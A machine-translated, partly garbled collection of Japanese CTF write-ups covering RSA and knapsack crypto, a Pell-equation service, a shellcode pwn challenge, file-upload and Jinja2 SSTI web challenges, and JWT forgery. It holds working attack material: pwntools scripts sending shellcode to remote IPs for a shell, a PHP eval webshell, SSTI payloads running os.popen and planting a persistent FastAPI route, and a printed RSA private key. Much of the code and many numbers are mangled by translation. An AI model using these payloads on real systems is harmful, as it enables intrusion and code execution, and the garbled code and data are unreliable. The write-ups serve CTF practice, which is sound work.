__NAME __=='__ Main __' :の場合

encrypted_file_path='flag.enc'

output_file_path='flag_decrypted.txt'

decrypt_file(encrypted_file_path、output_file_path)

#flag {u_r_g00d_at_do1n_pyc}

2. mwatch

ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)}

心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください

image-20240428205017240

image-20240428205017240

フラグ{MD5(MIスマートバンド5_REDMI K40_128)}

フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}

3. babyrsa

ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか?

ソースコード:

#task.py

#!/usr/bin/env python3

# - * - coding: utf-8-* -

秘密のインポートフラグから、init

crypto.util.Numberインポートから *

sage.allからimport *

gmpy2インポートirootから

m=bytes_to_long(flag.encode())

r=getPrime(128)

p=init

#範囲(r-1):の場合

#p +=next_prime(init)

#arsert iroot(p、3)[1]==1

Q=getPrime(12)

#n=p*q*r

n=r ** 4*q

E=getPrime(17)

c=pow(m、e、n)

印刷(f'r={r} ')

print(f'e={e} ')

印刷(f'c={c} ')

#R=287040188443069778047400125757341514899

#E=96001

#c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

Qを取得するために12ビットの素数を爆破してから復号化します

crypto.util.Numberからlong_to_bytesをインポートします

R=287040188443069778047400125757341514899

E=96001

c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

#指数のモジュラスが実際にr ** 4であると仮定すると

n=r ** 4

#emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります

#RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n)

#ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません

phi_n=r ** 4 -r ** 3

d=inverse(e、phi_n)

#メッセージを復号化します

m=pow(c、d、n)

#番号をバイトに変換します

メッセージ=long_to_bytes(m)

印刷(メッセージ)

#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}

4. バックパック

BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化

#!/usr/bin/env python3

# - * - coding: utf-8-* -

sage.allからimport *

秘密のインポートフラグから

crypto.util.Numberインポートから *

数学からインポートlog2から

クラスナープサック:

def __init __(self、n、m):

self.m=[]

self.n=n

self.m=self.pre(m)

self.a=0

self.b=0

def pre(self、m):

tmp_m=bin(m)[2:]

t=[]

TMP_M:のTMPの場合

T.Append(int(tmp))

tを返します

def get_m(self):

seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)]

self.m=seq

def calc_denity(self):

t=log2(max(self.m))

d=self.n/t

印刷(d)

def enc(self):

self.get_m()

self.calc_dences()

c=0

範囲のt(len(self.m)):

c +=self.m [t] * self.m [t]

印刷(f'c={c} ')

print(f'm={self.m} ')

__NAME __=='__ Main __' :の場合

m=bytes_to_long(flag.encode())

n=m.bit_length()

k=ナップサック(n、m)

k.enc()

#c=231282844744

#M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]

Sagemathで実行:

crypto.util.Number inmort long_to_bytesから

C=231282844744

M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、

23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、

33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、

31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、

30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、

21108080920]

l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。

L:の行

row [-1]==0およびlen(set(row [:-1]))==1:の場合

#最後の要素を除くすべての要素が同じであると仮定すると同じです

ans=[abs(i)in ow in ow in [:-1]]

ans=int( ''。join(map(str、ans))、2)

print(long_to_bytes(ans))

5. ターゲットを絞ったデータ収集

OpenPyxlをインポートします

リクエストをインポートします

インポート時間

urllib.parseインポートurlencodeから

burp0_url='http://121.40.65.125:23328/submit'

Def devery_name_and_id(input_file、output_file):

wb=openpyxl.load_workbook(input_file)

ws=wb.active

ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合

行[0] :の場合

名前、id_number=row [0] .split( '----')#extrame name and Identityカード

印刷(名前、id_number)

Age=2024-int(id_number [6:10])

if(int(id_number [10:12])4):

年齢- =1

sexx=u'male '

burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}

sexx2=u'female '

burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}

try:

r0=requests.post(burp0_url、json=burp0_json)

r1=requests.post(burp0_url、json=burp0_json1)

print(r0.request.body)

print(r0.text、r1.text)

#time.sleep(0.5)

requests.exceptions:を除く

print( 'err')

#time.sleep(2)

#ws.append([name.strip()、id_number.strip()])

#wb.save(output_file)

wb.close()

__name__=='__main __' :の場合

input_file='data1.xlsx'

output_file='deprosed_data.xlsx' #Noの使用、破棄されます

devery_name_and_id(input_file、output_file)

6. 天気

レビューbundle.js

image-20240428213212351

image-20240428213230335

アクセスするパラメーターを取得します

Image

7.mysqlクリーンアップ

ヒント:

要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123)

( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。

( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 ');

userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 ');

テーブルを再構築し、削除後に残りのデータをクリアします

Alter Tableユーザーエンジン=innodb;

Alter Table userlog Engine=innodb;

Table TransactionHistory Engine=Innodbを変更します。

Alter Table ShopphingCart Engine=Innodb;

Alter Table Orders Engine=Innodb;

image-20240428213639377

8. ファントムスクエア

第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください

Hashlibをインポートします

ランダムをインポートします

文字列をインポートします

#文字セットを英数字として定義します

charset=string.ascii_letters + string.digits

true:

#チャーセットからランダムな4文字列を生成します

rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud'

#文字列のSHA-256ハッシュを計算します

hash_output=hashlib.sha256(rand_str.encode())。hexdigest()

#ハッシュがターゲットハッシュと一致するかどうかを確認します

hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合

print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します

壊す

'' '

[2、7、6、9、5、1、4、3、8]

[2、9、4、7、5、3、6、1、8]

[4、3、8、9、5、1、2、7、6]

[4、9、2、3、5、7、8、1、6]

[6、1、8、7、5、3、2、9、4]

[6、7、2、1、5、9、8、3、4]

[8、1、6、3、5、7、4、9、2]

[8、3、4、1、5、9、6、7、2]

4 3 8

9 5 1

2 7 6

'' '

image-20240428214506459

1。データセキュリティの質問

1 .as

例と質問をご覧ください

def pell_recurrence(x1、y1、x、y、d):

x_next=x1 * x + d * y1 * y

y_next=x1 * y + y1 * x

x_next、y_nextを返します

#calculate

def generate_until_threshold(x1、y1、d、しきい値):

x、y=1、0

solutions=[(x、y)]

イテレーション=0

true:

x、y=pell_recurrence(x1、y1、x、y、d)

イテレーション +=1

solutions.append((x、y))

xしきい値とyしきい値:の場合

壊す

解決策、イテレーション、(x、y)

##########################################################################か

def main():

D=42232

X1、Y1=108634303639045672094671043496198963286006933268455141841942775234559999、 52862312812076818203801374519259164308207980652808243827880652144787200

しきい値=2 **0x149f

ソリューション、イテレーション、last_solution=generate_until_threshold(x1、y1、d、しきい値)

印刷(f 'x={last_solution [0]}')

印刷(f 'y={last_solution [1]}')

n1=(last_solution [0] -1)//2

n2=last_solution [1]

印刷(n1)

印刷(n2)

__name__=='__main __' :の場合

main()image-20250403151324146

N1=64844564643854949589851602335783984173579580464735419079658654718255037852726788222237554238651416 51725555010268946547371838755824968077838724094951075343418420178666051238478938999093406567717389454538 63424076592050010681353027292371006202432487099104697886787087178896042881627844174314231125376214954 191547729867576758551671299193867007260053941673838331284254279498630255373138495682828280106931847810107810 5747928749942182896044998865749248551237026945231309622443183888804721642376354130042037417822206304 44089221596447522910893615324877093077575834234234632206558888451080594144615938550114486923456286606606606 839599815531659691349774579744077742423463881471672458781349375368356413777777512841942400309996778337 89760649723034315709289197588503633098101852953596135719124951778966166882244717559306946188988876913 0598854771926155737315230514752046521202893304056240286346925487675888597054438983012367061809193423 0242946589463785934464302901842452354739677779999437519009546643195971492238007190552444297438229916530888 9482740693588888888694578091075479770434033383150772458175845012048361010458898033382579741708159642222 2143136409208762793223834034506152030379364807697319399089566253484842239113818516252719396503715151515151516 6115929559837059526120429960898263731511653364200306669261874318917779779751159990107686657670079338738 23935662067654373217132550990224714558326022862910255457386537474385284558980019354399325882955555558912 542652555558669537304706772635135818388765891636360962760667169682828523049745507250355557641675680606757 3954596043890492834784253219485112525250553753092423313264255375835083508288068056238732393021148364800000000

N2=6310775778373158072121506050012120110737000921159830860487405951913977762984508436128491347358202020843612849134735820 40026490305611506728157907332794553243897490382441928265237641015320185657434903925097598760960960787878787 883254442318175689932630404063782908439562569708467673549276158693692880019298918917442223454661333379985 39277783475975019927833495777599483895984131746152326733533402089732453584337320359607883603900037507 8019839415884013345498043473444405786017144561861862888858206698999955555555784335810426266614970929555570788888888227 401182253826825384609346528962344036388832502259046741321911200171426780637962405234747461112088834808080808080 9003855463232063187607331663553796062046207210640555294843433373700073814417333734803953072224509658233382338 0286472933092438252735609813745293185293425140178561897898999152120624707551988888890426788886293333333717556843 8766117594547448282820559753425657814885279969301392035974389727835465384888889776322146722233016164700555555330 06827166136303455670710003638464315811357227470395415655224937948484509148184858371069289334733848851 35625061825028262571981764852307539805730803567918135532017187134962686791602751075677775230893413 190686791463415735225214304935483754244074330567251227999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999990 -147626 42324815609182517988506268150630360407065284699130560128074008357903247903494947212812440317249494983943 3411188350035997807588936279816925317068991219980838476317761444099773877031649829297999999999999999999999944435354912 238925949073263872330350495717468997808640161305470224777777745158411515199235037185827272739425555857158966 004358344039029889879405479632695043708918494502587524196165559584121324134404046020914082864135881600

NC接続の提出

image-20250403151353410

get username:admin-jm password:jm001x!

flag3360

md5(admin-jm+jm001x!)

image-20250403151635504

または:

#sage 9.5

crypto.util.Numberインポートから *

PWNインポートから *

sysをインポートします

sys.set_int_max_str_digits(0)

DEFインタラクション(IO、X、Y):

io.recvuntil(b': ')

io.sendline(b'2 ')

io.recvuntil(b'n1〜 ')

io.sendline(str(x).encode())

io.recvuntil(b'n2〜 ')

io.sendline(str(y).encode())

io.recvline()

io.recvline()を返します

D=42232

チェック=2 **0x149f

def solve_pell(n):

cf=coshing_fraction(sqrt(n))

i=0

WHILETRUE:

I +=1

宗派=cf.denominator(i)

numer=cf.Numerator(i)

if(((numer -1)//2)=check)または(denom=check):

続行します

numer^2 -n * denom^2==1:の場合

x、y=int((numer -1)//2)、int(venom)

res=interace(io、x、y)

ifb'sorry'in res:

続行します

RESを返します

io=remote('47 .117.41.252 '、' 33410 ')

context.log_level='debug'

res=solve_pell(d)

印刷(res)

io.interactive()

#b'verifyの成功!ユーザー名[admin-jm]、パスワード[jm001x!]〜 'final flag3360

B7133D84297C307A92E70D7727F55CBC

2.scsc

タイトル説明:

プログラムの脆弱性を使用して、info_secファイルでデータ情報を取得し、11の行11、列2にデータを送信します

質問のプロセス:SCSCバイナリファイルを取得したとき、それが静的にコンパイルされ、ライブラリ機能がなく、シンボルテーブルが欠落していることがわかりました。

ここでは、リバーステクニックを使用します。シンボルテーブルを復元する3つの方法があります

SIGファイルのさまざまなバージョンを使用し、Bindiffの使用を復元し、異なるLIBCファイルを使用し、ライブラリ機能のマシンコードを比較し、指紋プラグインを使用して関数名を復元します(インターネットに接続する必要があります)。個人的には、最も理想的な効果は指紋プラグインだと思います。このゲームも常にオンラインであるため、使用しています。 LIBCを認識するだけでなく、それがなければ、C ++ライブラリも使用したこともわかりません。ここでは、回復後の効果を示します

このプログラムは、AES復号化関数セットシェルコードエグゼキューターであり、目に見える文字を無効にします。文字をフィルタリングせずにシェルコードを暗号化および送信する必要があります。

シェルコード、ジャンプ、次に通常のシェルコードを入力して読み取りを作成する最も簡単な方法を以下に示します。ここでの可視文字フィルタリングは、「SH」とさまざまな64ビットレジスタ操作を制限します。そこで、簡単にバイパスし、sys_readをオンにし、シェルコードを注入し、getShellを使用して、32ビットレジスタを使用しました

PWNインポートから *

std_pwnインポートから *

crypto.cipher Import AESから

crypto.util.paddingインポートパッドから

defgetProcess(ip、port、name):

グローバルp

iflen(sys.argv)1およびsys.argv [1]=='r':

p=remote(ip、port)

p

else:

p=process(name)

p

SL=Lambda X: P.Sendline(X)

sd=lambda x: p.send(x)

SA=Lambda X、Y: P.Sendafter(X、Y)

SLA=Lambda X、Y: P.SendlineFter(X、Y)

rc=lambda x: p.recv(x)

rl=lambda: p.recvline()

ru=lambda x: p.recvuntil(x)

ita=lambda: p.Itteractive()

slc=lambda: asm(shellcraft.sh())

uu64=lambda x: u64(x.ljust(8、b '\ 0'))

uu32=lambda x: u32(x.ljust(4、b '\ 0'))

#sl、sd、sa、sla、rc、rl、ru、ita、slc、uu64、uu32を返します

defaes_ecb_encrypt(plantext):

print(plantext)

c inb'0moyhjlcit1zkbnrnchag':の場合

plantext:のcの場合

print(f '{chr(c)} in it!')

#ヘキサデシマル文字列キーをバイトに変換します

key=B'862410C4F93B77B4 '

#AES暗号化装置を作成します

cipher=aes.new(key、aes.mode_ecb)

#プレーンテキストを入力して暗号化します

padded_plaintext=pad(plantext、aes.block_size)

ciphertext=cipher.encrypt(padded_plantext)

#ciphertextを16進文字列に変換して戻ります

ciphertextを返します

shellcode='' '

RSPを押します

ポップrsi

MOV EDI、0

MOV EDX、0xff

RDIを押します

ポップラックス

syscall

JMP RSP

'' '

#01ayhcjitkbn molznrchg

p=getProcess('47 .117.42.74 '、32846、'。/scsc ')

Context(os='linux'、arch='amd64'、log_level='debug'、terminal=['tmux'、 'splitw'、 '-H']))

elf=elf( './scsc')

gdba()

ペイロード=asm(shellcode)

sa( 'Magic Data:'、AES_ECB_ENCRYPT(ASM(ShellCode)))

sl(asm(shellcraft.sh()))

ita()または

#!/usr/bin/env python3

PWNインポートから *

context.log_level='debug'

context.arch='amd64'

#io=process( './scsc')

io=remote('47 .117.41.252 '、33414)

shellcode='' '

XCHG R8、Rax

XCHG R8、RSI

サブEDI、EDI

MOV EDX、0x99

Sub Eax、EAX

syscall

'' '

payload1=asm(shellcode)

print( 'shellcode='、payload1.hex())

payload1=bytes.fromhex( 'e29aca48e52d1d59c539c172262e56c7aeae3b0ebb4e872fa01f84506ad7c226')

payload2=b '\ x90'*len(payload1) + asm(shellcraft.sh())

#gdb.attach(io)

io.sendlineafter(b'magic data: '、payload1)

一時停止()

io.send(payload2)

io.interactive()

3. ez_upload

タイトル説明:

この質問では、テストの質問に添付されていません。添付のダウンロードボタンを無視してください!サーバーは、暗号化されたデータのRSAキーファイルを保存します。管理者は、サーバーサイトを維持するときに脆弱なテストサイトを修復しませんでした。 RSAキーが配置されているパスを送信してください(提出スタイル:ファイルがあるパスが /var /wwwの場合、送信回答は /var /wwwです)

問題手順:

予備的なアイデア、馬の渡され、けがをしてから、RSAに関連するファイルを見つけます

HTMLとPHPはすべてWAFによってドロップされます。接尾辞は、ファイルコンテンツを検出するために使用できます。

Content-Type: TEXT/HTML WAFこれ

接尾辞はwafed、html、php、htaccess、 '。php'、 '。php5'、 '。php4'、 '。php3'、 '。php2'、 '。html'、 '。htm'、 '。pht'、 '。p ht '、'。php '、'。php5 '、'。php4 '、'。php3 '、'。php2 '、'。html '、'。htm '、'。phtml、user.ini

これではないようにエコーします。しかし、phtmlの接尾辞のエコーはこのcontehtではありません

php7.2以上、htaccessファイルを構成する必要があります

PNG 2レンダリングではありません

ミドルウェアはApacheです、脆弱性を解決しますか?

ファイルコンテンツがチェックされ、PHPを含むコンテンツがWAFによってドロップされることがわかります。

正常に馬を渡しました

?=@eval($ _ post ['cmd']);Image

RSAキーを見つけるためのパスは/var/www/rssss4aです

Image

4. データの開示とプライバシー保護

タイトル説明:

宣伝部門の技術サポートスタッフメンバーとして、過度のデータ脱感作のために優れたボランティアを公に賞賛するために活動を行うとき、個人情報を正確に特定できず、その結果

複数のボランティアが情報について混乱しています。添付ファイルの《题目说明文档》のタスク要件に従って問題を解決してください。

問題手順:

エントリ:Openファイル - テーブルBase64暗号化- time()を使用して擬似ランダムアレイを生成- エクスア暗号化- 新しいファイルに書き込み

web

EncirclingGame

質問説明:簡単なゲーム、それを楽しんで、それを完了したら旗を入手してください。トピックを開始してください、フロントエンドミニゲーム、赤いドットimage-20240817132551392を取得しないでください

レベルを直接再生して渡しますimage-20240817133147345

演奏せずに旗を獲得する方法を見てみましょう。フラグはバックエンドPHPファイルに保存されており、フロントエンドには見つかりません。レッドドットの最後の位置とファイアウォールの位置(ブラックドット)を記録するゲームのリクエストパッケージをご覧ください。image-20240817134012060

それでは、ファイアウォールは円に囲まれていますが、赤い点は真ん中にあります。ルーティング:/verifyvictory.php

方法:post {'Gamestate ': {' virusposition': {'x':5、' y':5}、 'firewalls': [{' x': 0、 'y': 0}、{' x': 1、 'y'3360 0} {'x': 2、' y': 0}、{'x': 3、' y': 0}、{'x': 4、' y': 0}、{'x': 5、' y'3360 0 0}、{'x': 7、' y': 0}、{'x': 8、' y': 0}、{'x': 9、' y': 0}、{'x': 10、' y': 0}、{'x': 'y': 10}、{' x': 1、 'y': 10}、{' x': 2、 'y': 10}、{' x': 3、 'y': 10}、{' x': 4、 '': 10 5、 'y': 10}、{' x': 6、 'y': 10}、{' x': 10}、{'x':' y': 10}、{'x'3360 9 {'x': 10、' y': 10}、{'x': 0、' y': 3}、{'x': 0、' y': 4}、{'x': 0、' y': 6}、{'x': 0、' y': 7}、{'x': 0、' y': 8}、{'x': 0、' y': 9}、{'x': 10、' y': 1}、{'x': 'Y': 2}、{' x': 10、 'y': 3}、{' x': 10、 'y': 4}、{' x': 10、 'y': 5}、{' x': 10 10、 'y': 7}、{' x': 10、 'y': 8}、{' x': 9}]}、 'token':'game-lab-token'}プロジェクトを開始すると、ソースコードimage-20240817122126538を直接与えました

インポートOS#オペレーティングシステム関連モジュールのインポートJinja2#インポートJinja2テンプレートエンジンモジュールインポート#インポート#インポートツール機能モジュール、高度な機能を提供するuvicorn#インポートuvicorn#fastapiインポートFastapi#インポートファーストアピクラスからASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行するためにASGIアプリケーションを実行して、FASTAPI.TEMPLATING IMPLATITION APPLATIONSから作成します。 AnyioのインポートからレンダリングするテンプレートのFastapiのJinja2Templates fail_after、睡眠#インポートAnyioライブラリからのインポートタイムアウトを設定するために使用し、非同期睡眠のためにスリープ

#使用するライブラリのバージョンを指定します:#jinja2==3.1.2#uvicorn==0.30.5#fastapi==0.112.0

def timeout_after(timeout: int=1):#タイムアウトデコレータを定義する、デフォルトのタイムアウトは1秒のdefデコレーター(func):です##parameter @functools.wraps(func)#decorator async def wrapper(** kwargs)のメタ情報を保持します。 faile_after(タイムアウト):のラッパー#指定されたタイムアウトリターンウェイブfunc(*args、** kwargs)内でデコレーター関数を実行してください。

デコレーターを返す#returnデコレーター関数

app=fastapi()#fastapiアプリケーションインスタンスアクセスを作成=false#アクセス許可を制御するためのグローバル変数を定義します

_base_path=os.path.dirname(os.path.abspath(__ file__))

@app.get( '/')#ルートパスのゲットリクエストを処理するルートを定義します@timeout_after(1)#タイムアウトデコレーターを使用して、タイムアウトを1秒の非同期DEFインデックス():に設定します#非同期処理機能を定義します。

@app.get( ' /calc')# /計算パスを処理するゲットリクエストのルートを定義します@Timeout_after(1) (calc_reqのchar.isdigit()calc_reqのchar.isdigit())または(calc_reqの '%\')またはnot not not not not not not calc_req.isascii()またはaccess:#calc_reqに数値文字が含まれているか、「%」が含まれているか、またはそれらがすべてasciiのキャラクターであるかどうかを確認するかどうかを確認します。 jinja2.environment(loader=jinja2.baseloader())。 #さらにアクセスを制限するためにtrueにアクセスを設定します。

__name__=='__main __' :#それがメインプログラムの入り口uvicorn.run(app、host='0.0.0'、port=8000)であるかどうかを決定します。制限は、数値文字、または文字「%」、またはすべてのASCII文字、またはアクセスを含めることができないことです。同時に、アクセスが真である限り、再び入力することはできないため、環境を再起動する必要があります(NSS round20 Iは、この方法で質問が作成されたリポジトリのメモリも検索しました。 /flag ')。read())は、add_url_ruleを同時に置き換えるため、次のようにsstipayloadに変換する必要があります{{config .__ class __.__ init __.__ Globals __ ['__ Builtins __']。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route('/flag '、lambda:__import __(' os ') /flag').Read())')} payload: /calc?calc_req=config.__class__.__init__.__globals__ ['__builtins__'] .eval('__import__('sys').m odules ['__ main __'] .__ dict __ ['app']。add_api_route( '/flag'、lambda:__import __( 'os')。popen( 'cat /flag ')。読み取り())')

Fastapi Memory Horseをプレイすると、FastapiクラスにADD_API_ROUTEメソッドがあります。この方法を通るルートを追加して、RCEを実行できます

app.add_api_route( '/shell'、lambda: __import __( 'os')。popen( 'whoami')。read())アプリを再ゲットする必要があります。

__import __( 'sys')。モジュール['__ main __'] .__ dict __ ['app']

Sys.Modules:SYSモジュールには、すべてのインポートモジュールの現在の状態を維持するモジュールと呼ばれる辞書があります。この辞書のキーはモジュールの名前であり、値は対応するモジュールオブジェクトです。モジュール['__ main__']:__main__は、コマンドラインから直接実行されるスクリプトであろうと、実行環境を実行するコードであろうと、Pythonプログラムを実行するメインモジュールです。 sys.modules ['__ main__']を介して、現在実行中のプログラムのメインモジュールオブジェクトを取得します。 __dict__:各モジュールオブジェクトには__dict__属性があります。これは、モジュールで定義されているすべてのグローバル変数と関数を含む辞書です。 ['App']:最後に、モジュールの__dict__から名前付きアプリというオブジェクトを取得します。次に、次のペイロードを統合します。

app .__ init __.__ Globals __.__ builtins __。eval( '__ import __(' sys ')。モジュール[' __ main __ '] .__ dict __ [' app ']。add_api_route(' /shell '、lambda :__import __(' os ')。

さて、 /シェルにアクセスして旗を獲得します

方法3:任意のファイルを読み取る任意のファイルについて__file__を変更します

@app.get( '/')@timeout_after(1)async def index(): return open(__ file __)。read()

現在のコードファイルコンテンツは読み取り、Webページに出力されます。次に、__file__ to /flagを変更できれば、ルートルートにアクセスするとフラグを取得できます。

__File__はグローバル変数グローバルにあります

setattr(__ Import __( 'sys')。モジュール['__ main __']、 '__ file __'、 '/flag')は、setattr(オブジェクト、名前、値)メソッドを使用してオブジェクトのプロパティ値を変更します。

オブジェクト - オブジェクト。名前- 文字列、オブジェクト属性。値- 属性値。

Q:__import __( 'sys')を使用してみませんか。モジュール['__ main __'] .__ dict__、__file__は明らかにここにありますか?

A:Setattr関数の最初の値はオブジェクトであるため、__dict__はオブジェクトではなく__main__の属性です。

ペイロードを統合します:

app .__ init __.__ Globals __.__ builtins __。eval( 'setattr(__ import __(' sys ')。モジュール[' __ main __ ']、' __ file __ '、'/flag '))システム内のフラグファイルをお読みください。プロジェクトはログインボックスで、登録オプションimage-20240817120527144

敏感なディレクトリをスキャン:/admin.html/upload.php/admin.htmlルートにはファイルアップロード機能とコマンド入力ボックスimage-20240817214352183があります

無効な文字は、アップロード時に常に表示されます。いくつかのパケットの試行後、アップロードされたコマンド文字列が制限されているはずであり、1つの文字のフィルタリングである可能性があります。質問WAFコマンドパートファズに1つの文字を実行します。 /、そして一目で一時ファイルを実行します。 /t*/*

英数字RCE(CTFSHOW Webはじめに56)への参照_RCE-CSDNブログすべての文字と数字をろ過

t、 /、image-20240817214855339のみが許可されています

同時に、ファイル部品をアップロードすることはできません。私はおそらく、ホワイトリストのキャラクター、ctfshow永遠の神を見る手がかりがあるでしょう! PHPでは、ファイルが強制的にアップロードされると、ファイルは一時ファイル /TMP /PHPに存在します

1。 Qinglong Group Web

web1

最初にログインできます。ログインした後、トークンとセッションが生成されます。

これは、最初にJWTを偽造した元の質問です。

ctftime.org/downunderctf 2021(オンライン)/jwt /書き込み

2つのトークンを作成し、RSA_SIGN2Nツールを使用して公開キーを生成します

python3 jwt_forgery.py eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfhywfhin0.entobp4kzw6jbuqkckccc7fjt-fccqq9momhkwrqkpo12bsg464ytx2qni bluzgqjhndlgf2ukqb6owxhfm0qikrbg1skub00fo2kmbkevrlpygj7txozzconcndgdl-egama-msn321rnw-aickjsij5tf0hzqgbu8ucg1zd8ujaybcj3oxoi eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imeifq.iuanu3g_ztypjdnoj9gockfro1ooqlmqt0to_wyli9i9pluhxbbid5d5d2 wfif-sihgpudtzpvshie1ao0qnmlp3x7pvf-qb-juaslvbnpr1rckh2d3kq4u1d2wedvsgwvtjya6s5nxrvjpzdcpzlzmx_6ywn8cavk3k3k3kjltv8787o。img

公開キーを入手してください

-----公開キーを開始----

migfma0gcsqgsib3dqebaquaa4gnadcbiqkkbgsslumfczg/ysg4ixoi6nkguwnnv

IPZZTRNA045EH2XZZY/ZYRWDOJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FAN

mncyra47xiw0rwzbdsabcgnwu3qp2nr7ar0/tzmsclncdwa7rkzljm8fs7zmb502

ZMSV0AXMGN5UMH9FCWIDAQAB

-----公開キーを終了します------次にrsactftoolを使用して秘密鍵を取得します

img

----- RSA秘密キーを開始----

miicoqibaakbgsslumfczg/ysg4ixoi6nkguwnnvipzztrna045eh2xzzy/zyrwd

OJSTMH5WXG6NOVVNAY/ETX2XPPC6J1J //NZC1FANMNCYRA47XIW0RWZBDSABCGNW

U3QP2NR7AR0/TZMSCLNCDWA7RKZLJM8FS7ZMB502ZMSV0AXMGN5UMH9FCWIDAQAB

AOGBC5/R+NCV2+UWXTJL8I6UJTLIFDOSSXKBJNIIKLXQH3L8IAAFX1I9KTXYEICW

TCGTUKX9GJD+XUWO0KOKJCG3HZC7BEFLKIOSK8DSWSPFEXYQPCE1EFOKHKC9RBIQ

urc9qirqjtzf5vdu2usj5ddrgtqtmpxm/ibu1tlpisy8y5tjaogbap2mj8b+pnwu

scp0eyh999ogr6jblqlvwysv34udqarcfjkqob60somzpgcypr/auhfdisnvkyxlk

s7ibebfmetwywux28ogfv7xtgf7rflwmakyxy4ml/dfhonv8khz6h5wpyxpl3wli

ujcsssjngxhj4aegltrruyspixflrdfvagelaogbalrhzoo+tjwzq2xpmveqjvjl

bxfs2wbcf/theuzb8zw/axjncuj1ilxubpzpvigtkppd6mxihv13j/1+3qnyyein

hf6vohlxzq6itrdetafqjp4vubigr+gpsqxqchl5bnue1qmdy3aw7ltarzz8iq5i

6gmi+wdryp+goqxd65upageraogaujts5pfhst6t8hfovcf87es6qguqrtlwagwr

TCFRQKB9TT1QRFGSADZLPUJ+QIRDQAM80AMNCVZDVTDG8NPMCKFP/R+OECPHPOUC

QSFY4PEZPMLYB7DCLCQ0SHTTPMZTTHTKDR+GFFDEDBPFOJTQC16QDNGSPBMKEPFZ

JQTA99E=

-----END RSA PRIVATE KEY----------------------------------------------------------------------------------------------------------------

ゲームルーティング機能にアクセスできます。ここに海外の元の質問があります

AIS3-PRE-EXAM-2024-WRITEUP | Naupのブログ

EMO式を使用してCDフラグを作成します; P: | cat *

ソースコードを直接読み取ると、36F8EFBEA152E50B23290E0ED707B4B0のSecret_Keyを取得できます

それからそれを偽造します

img

次に、ファイルをアップロードする機能を使用できます。まず、このパートのソースコードを監査しましょう。

@app.route( '/upload'、method=['get'、 'post']))

def upload():

token=request.cookies.get( 'token')

token:ではない場合

flash( '最初にログインしてください'、「警告」)

return redirect(url_for( 'login'))

ペイロード=decode_jwt(token)

form=uploadform()

ペイロードまたはペイロード['username']!='admin':でない場合

error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません。」

return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])

セッション[「役割」]またはセッション['ロール']!='Admin':ではない場合

error_message='このページにアクセスする許可がありません。あなたの役割は管理者ではありません。」

return render_template( 'upload.html'、form=form、error_message=error_message、username=payload ['username'])

form.validate_on_submit():の場合

file=form.avatar.data

file:の場合

